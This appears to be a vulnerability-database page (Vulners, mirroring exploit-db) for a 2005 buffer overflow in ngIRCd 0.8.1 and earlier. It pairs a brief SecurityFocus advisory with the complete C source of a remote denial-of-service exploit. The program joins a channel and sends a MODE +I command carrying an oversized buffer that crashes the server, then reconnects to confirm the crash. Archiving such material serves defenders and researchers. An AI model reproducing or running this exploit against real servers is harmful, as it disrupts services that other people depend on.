Lucene search
+L

ngIRCd 0.6/0.7/0.8 - Remote Buffer Overflow

🗓️ 28 Jan 2005 00:00:00Reported by Florian WestphalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 26 Views

ngIRCd versions 0.6 to 0.8.1 have a remote buffer overflow vulnerability, risking server crash and access issues.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
ngIRCd < 0.8.2 Lists_MakeMask Function Remote Buffer Overflow
29 Jan 200500:00
nessus
nessus
Tenable Nessus
FreeBSD : ngircd -- buffer overflow vulnerability (7f6dd1bd-7d99-11d9-a9e7-0001020eed82)
13 Jul 200500:00
nessus
nessus
Tenable Nessus
GLSA-200501-40 : ngIRCd: Buffer overflow
14 Feb 200500:00
nessus
nessus
Tenable Nessus
ngIRCd < 0.8.2 Lists_MakeMask() Remote Overflow DoS
29 Jan 200500:00
nessus
freebsd
FreeBSD
ngircd -- buffer overflow vulnerability
26 Jan 200500:00
freebsd
cve
CVE
CVE-2005-0199
6 Feb 200505:00
cve
cvelist
Cvelist
CVE-2005-0199
6 Feb 200505:00
cvelist
gentoo
Gentoo Linux
ngIRCd: Buffer overflow
28 Jan 200500:00
gentoo
nvd
NVD
CVE-2005-0199
2 May 200504:00
nvd
openvas
OpenVAS
FreeBSD Ports: ngircd
4 Sep 200800:00
openvas
Rows per page
// source: https://www.securityfocus.com/bid/12397/info

ngIRCd is reported prone to a remote buffer overflow vulnerability. This issue presents itself because the application fails to perform proper boundary checks before copying user-supplied data into process buffers.

A successful attack may allow the attacker to crash the server or gain unauthorized access to a vulnerable computer.

ngIRCd 0.8.1 and prior versions are affected by this vulnerability.

/*
      NGircd <= 0.8.1     Remote Denial Of Service       Coded by: Expanders

      Usage:  ./ngircd_dos <Host> <Ip> <NickToUse> <ChannellToJoin>

   NOTE:  The channel must be EMPTY to let the exploit use +I mode

      Example:

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void help(char *program_name);


int main(int argc, char *argv[]) {
     struct sockaddr_in trg;
     struct hostent *he;
 long addr;
     int sockfd, buff,rc;
 char evilbuf[1024];
 char buffer[1024];
 char *nick="AntiServer";
 char *channel="Die_NGircd";
 char *request;
 if(argv[3] != NULL) nick=argv[3];
 if(argv[4] != NULL) channel=argv[4];
 if(argc < 3 ) {
  help(argv[0]);
  exit(0);
 }
 printf("\n\n-=[ NGircd <= 0.8.1 Remote DoS ::: Coded by Expanders ]=-\n");
     he = gethostbyname(argv[1]);
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     request = (char *) malloc(12344);
     trg.sin_family = AF_INET;
     trg.sin_port = htons(atoi(argv[2]));
     trg.sin_addr = *((struct in_addr *) he->h_addr);
     memset(&(trg.sin_zero), '\0', 8);
 printf("\n\nConnecting to target \t...");
 rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
 if(rc==0)
 {
  printf("[Done]\nBuilding evil buffer\t...");
  memset(evilbuf,65,300);
  memset(evilbuf+300,64,1);
  memset(evilbuf+301,65,128);
  printf("[Done]\nSending NICK           \t...");
  sprintf(request,"NICK %s\n",nick);
  send(sockfd,request,strlen(request),0);
  printf("[Done]\nSending USER           \t...");
  sprintf(request,"USER %s x0n3-h4ck.org eth0.x0n3-h4ck.org
:%s\n",nick,nick);
  send(sockfd,request,strlen(request),0);
  buff=recv(sockfd, buffer, 256, 0);
  printf("[Done]\nJoining Channel        \t...");
  sprintf(request,"JOIN #%s\n",channel);
  send(sockfd,request,strlen(request),0);
  printf("[Done]\nSending evil request   \t...");
  sprintf(request,"MODE #%s +I %s\n",channel,evilbuf);
  send(sockfd,request,strlen(request),0);
  sprintf(request,"QUIT www.x0n3-h4ck.org\n",evilbuf);
  send(sockfd,request,strlen(request),0);
  sleep(2);
  printf("[Done]\nTrying to reconnect\t...");
  close(sockfd);
  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  sleep(1);
  rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
  if(rc==0)
   printf("[Fail] -> Damn! Attack Failed!\n\n");
  else
   printf("[Done] -> Attack Success! Lets party!\n\n");
 }
 else
  printf("[Fail] -> Unable to connect\n\n");
 close(sockfd);
 return 0;

}

void help(char *program_name) {

 printf("\n\t-=[      NGircd <= 0.8.1 Remote Denial Of Service      ]=-\n");
 printf("\t-=[                                                    ]=-\n");
 printf("\t-=[      Coded by
ders -/www.x0n3-h4ck.org\\-      ]=-\n\n");
 printf("Usage: %s <Host> <Ip> <NickToUse>
<ChannellToJoin>\n",program_name);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
CVSS 3.19.8
EPSS0.18767
26